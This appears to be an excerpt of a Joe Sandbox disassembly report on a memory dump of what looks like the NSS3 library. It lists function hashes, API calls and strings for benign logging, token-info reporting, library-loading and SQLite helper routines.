Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction ID: 36b1e1ef4829c422da150e77bd4dabb929466a5b525be678d042b90d7cd166a0
Opcode Fuzzy Hash: 479b8d2f213f65b1b536ab0ea025c35109ca1eff46ca7d7c516c56307c097544
Instruction Fuzzy Hash: CDD18371F052668FDB48CEA9C4806AFB3F2FB89304F25A52BC559E7640D7329C41CB92

Function 6CAF45B0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d05f6bb031545853c6a5b22b5fd3eff3bf30ea3100b8bb9647dfd1bdc53e19
Instruction ID: 74d606e678f0cb070efa93d04ad9f9778a8f4230553ec620b891b452a27bf34b
Opcode Fuzzy Hash: e5d05f6bb031545853c6a5b22b5fd3eff3bf30ea3100b8bb9647dfd1bdc53e19
Instruction Fuzzy Hash: C4D1D372F006168BCB0CCFA9CA901AEBBF2BF98310719856EE4559B791D735D943CB80

Function 6CB8A430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 786abd53cdeb6a6e10831f7be37223bfaf73bdd2d27e69453b60a8153352cc6f
Instruction ID: 5e21c41746fa9d0fcebbc9bd7a62d61f3061e7af5623656342215d4cb12b6919
Opcode Fuzzy Hash: 786abd53cdeb6a6e10831f7be37223bfaf73bdd2d27e69453b60a8153352cc6f
Instruction Fuzzy Hash: AA818F70A022458FDB18CF18D584BEABBE4FF48308F15816DE81A9B794DB74E981CF81

Function 6CB8A820 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef01b9c26f3d60cb118a8b7fb35821565d0fdd441d28c4b869903b359a5ce233
Instruction ID: 398b287bcbc396b2f73f5d50122dfd73b0fbd8a615f283a87153e81f37046d00
Opcode Fuzzy Hash: ef01b9c26f3d60cb118a8b7fb35821565d0fdd441d28c4b869903b359a5ce233
Instruction Fuzzy Hash: FE519C71A06289CFDB04CF19D984BAA7BE5FF49308F26806DE8199B790D734D852CF91

Function 6CB68EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ee1f9a2cc4b3cbfe1d7486b4f0f2317bb5aca5f1be389fd8590f856fb14c0f8
Instruction ID: ccddbccabb6c5323adfcabf4780108ade304a50fb6ef859f9abaebc032fa6687
Opcode Fuzzy Hash: 6ee1f9a2cc4b3cbfe1d7486b4f0f2317bb5aca5f1be389fd8590f856fb14c0f8
Instruction Fuzzy Hash: D711C132A012558BDB04CF26D88475AB7B5FF4331CF04466AD8198FE41C776E886C7C2

Function 6CC40C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560ea281ac50e8b3bce9dc39d0e4a042d10f9b9af2a7f7af2dda21c487de16f8
Instruction ID: 84e5d54d3226930312fd4f6388559daf109315b123d1e97e3515c52a9e87b18b
Opcode Fuzzy Hash: 560ea281ac50e8b3bce9dc39d0e4a042d10f9b9af2a7f7af2dda21c487de16f8
Instruction Fuzzy Hash: D811BF75A04245CFCB00DF29C88066A7BB1FF85368F14C169D8198B701EB71E806CBA1

Function 6CBB44C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 993c615ffff202182b1963d915ed6da4c35e932a77f160a17b6eb7e77f9af996
Instruction ID: 8c010df85e8eb44c44863f3df985f3a9f5ef6022fe928e9215c622996b871adc
Opcode Fuzzy Hash: 993c615ffff202182b1963d915ed6da4c35e932a77f160a17b6eb7e77f9af996
Instruction Fuzzy Hash: 0B11F7B6A002199F8B00CF99D8819EFBBF9FF8C664B554419ED19E7300D630ED118BE1

Function 6CBB4440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a7ef8370d580cf82c148de149b1b4a9f9ed4c6b92e2ae64f34a58795e69f7ca
Instruction ID: 92ff7a1c6ff884b33a78f8a367694442598405a91f80df286a81b52a633713ea
Opcode Fuzzy Hash: 5a7ef8370d580cf82c148de149b1b4a9f9ed4c6b92e2ae64f34a58795e69f7ca
Instruction Fuzzy Hash: B6110975A002599F8B00CF59C8809EFB7F8EF4C214B16416AED19E7301E630ED118BE1

Function 6CC40D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: c7b3c26480b9d900f82b807c833559ad9318f815e83083e8767e4e7376efedf2
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: CDE0923A282454A7DB148E09C450AA97359EF91619FB4C0FDCC5D9FA01F733F8078B81

Function 6CB6CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4d2cdd7e35541fd0361f206568bbd1739f1ff599aba7f06cfe756a96feba8f4
Instruction ID: 907454786eab3cc0092bf9e4424d907fdea429d2c5be04f2fdde9d0c3c5a225d
Opcode Fuzzy Hash: c4d2cdd7e35541fd0361f206568bbd1739f1ff599aba7f06cfe756a96feba8f4
Instruction Fuzzy Hash: 93C09238244708CFC704DF08E489DA43BF8FF0D6117044094EA028B721DB31FC00CA80

Function 6CC809D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275
filetimethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PR_Now.NSS3 ref: 6CC80A22

Part of subcall function 6CC39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DC6
Part of subcall function 6CC39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DD1
Part of subcall function 6CC39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC39DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC80A35

Part of subcall function 6CB63810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB6382A
Part of subcall function 6CB63810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB63879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC80A66
PR_GetCurrentThread.NSS3 ref: 6CC80A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC80A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC80AC8
PR_vsmprintf.NSS3(?,?), ref: 6CC80AE8
EnterCriticalSection.KERNEL32(?), ref: 6CC80B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CC80B48
OutputDebugStringA.KERNEL32(?), ref: 6CC80B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC80C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC80C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CC80C76
PR_LogFlush.NSS3 ref: 6CC80C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC80C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80C9C
OutputDebugStringA.KERNEL32(?), ref: 6CC80CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC80CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CC80D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC80D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CC80D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC80D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CC80D90
free.MOZGLUE(00000000), ref: 6CC80D99

Strings

%ld[%p]: , xrefs: 6CC80A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CC80A5B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 51166580d76ab22f9761f23a68e4a37327a7b8e41d48b40a4f269f54930068cd
Instruction ID: e890178142f1e265d15a30436220497cf07ad61bfac1bb4f4940460e189e4b8b
Opcode Fuzzy Hash: 51166580d76ab22f9761f23a68e4a37327a7b8e41d48b40a4f269f54930068cd
Instruction Fuzzy Hash: 07A1C371A062949FDB109F69CC48BEA3F78EF1232CF080698F81993641E775EA95CB51

Function 6CBA28A0 Relevance: 49.2, APIs: 12, Strings: 16, Instructions: 155COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetTokenInfo), ref: 6CBA28BD
PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CBA28EF

Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(?), ref: 6CC80B88
Part of subcall function 6CC809D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC80C5D
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC80C8D
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80C9C
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(?), ref: 6CC80CD1
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC80CEC
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80CFB
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC80D16
Part of subcall function 6CC809D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC80D26
Part of subcall function 6CC809D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC80D35
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CC80D65
Part of subcall function 6CC809D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC80D70
Part of subcall function 6CC809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC80D90
Part of subcall function 6CC809D0: free.MOZGLUE(00000000), ref: 6CC80D99

Part of subcall function 6CB60F00: PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B
Part of subcall function 6CB60F00: PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CBA28D6

Part of subcall function 6CC809D0: PR_Now.NSS3 ref: 6CC80A22
Part of subcall function 6CC809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC80A35
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC80A66
Part of subcall function 6CC809D0: PR_GetCurrentThread.NSS3 ref: 6CC80A70
Part of subcall function 6CC809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC80A9D
Part of subcall function 6CC809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC80AC8
Part of subcall function 6CC809D0: PR_vsmprintf.NSS3(?,?), ref: 6CC80AE8
Part of subcall function 6CC809D0: EnterCriticalSection.KERNEL32(?), ref: 6CC80B19
Part of subcall function 6CC809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC80B48
Part of subcall function 6CC809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC80C76
Part of subcall function 6CC809D0: PR_LogFlush.NSS3 ref: 6CC80C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6CBA2963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6CBA2983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6CBA29A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6CBA29C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6CBA2A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6CBA2A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6CBA2A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6CBA2A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6CBA2AB6

Strings

slotID = 0x%x, xrefs: 6CBA28D1
CKF_USER_PIN_INIT, xrefs: 6CBA29E5
maxSessions = %u, Sessions = %u, xrefs: 6CBA2A43
firmware version: %d.%d, xrefs: 6CBA2AB1
serial = "%.16s", xrefs: 6CBA29BE
CKF_LOGIN_REQUIRED, xrefs: 6CBA29F3, 6CBA2A1E
C_GetTokenInfo, xrefs: 6CBA28B8
model = "%.16s", xrefs: 6CBA299E
label = "%.32s", xrefs: 6CBA295E
pInfo = 0x%p, xrefs: 6CBA28EA
manufacturerID = "%.32s", xrefs: 6CBA297E
flags = %s %s %s %s, xrefs: 6CBA2A21
hardware version: %d.%d, xrefs: 6CBA2A89
CKF_RNG, xrefs: 6CBA2A13, 6CBA2A20
CKF_WRITE_PROTECTED, xrefs: 6CBA29FE, 6CBA2A1F
maxRwSessions = %u, RwSessions = %u, xrefs: 6CBA2A61

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: c75d33beb51d001172ee4d0a545a91dabf5e51decf053142ddc8209c1705f072
Instruction ID: c7b89505cc33504661eb61c7ad5d973f71741189e37d56fca30a779f39b40448
Opcode Fuzzy Hash: c75d33beb51d001172ee4d0a545a91dabf5e51decf053142ddc8209c1705f072
Instruction Fuzzy Hash: 9051F8B5602080AFEB008BD4CD9DB5A7BB5EB4520EF4580B4ED49DBA12FB31EC05CB52

Function 6CB60AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CB60AD4

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_EnterMonitor.NSS3 ref: 6CB60B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CB60B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6CB60B54
WideCharToMultiByte.KERNEL32 ref: 6CB60B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CB60BC9
calloc.MOZGLUE(00000001,00000014), ref: 6CB60BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6CB60C15

Strings

Loaded library %s (load lib), xrefs: 6CB60D6F
error %d, xrefs: 6CB60D08

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: caab614d92e6a8048771d9ee2775ac35b1882d107265e21c5f31105e331152c1
Instruction ID: 11bb54adfc31b3c53fb72d3e5afcaad2752eddb2be455fdd7984bdd52c4330c7
Opcode Fuzzy Hash: caab614d92e6a8048771d9ee2775ac35b1882d107265e21c5f31105e331152c1
Instruction Fuzzy Hash: 9771D870E052A09BEB109F3BED4865B7BB8EF45358F044169EC0AD7A40EB309E45CB96

Function 6CC46E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB5F9C9,?,6CB5F4DA,6CB5F9C9,?,?,6CB2369A), ref: 6CAFCA7A
Part of subcall function 6CAFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CAFCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB0BE66), ref: 6CC46E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB0BE66), ref: 6CC46E98
sqlite3_snprintf.NSS3(?,00000000,6CCAAAF9,?,?,?,?,?,?,6CB0BE66), ref: 6CC46EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB0BE66), ref: 6CC46ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB0BE66), ref: 6CC46EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC46F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB0BE66), ref: 6CC46F28
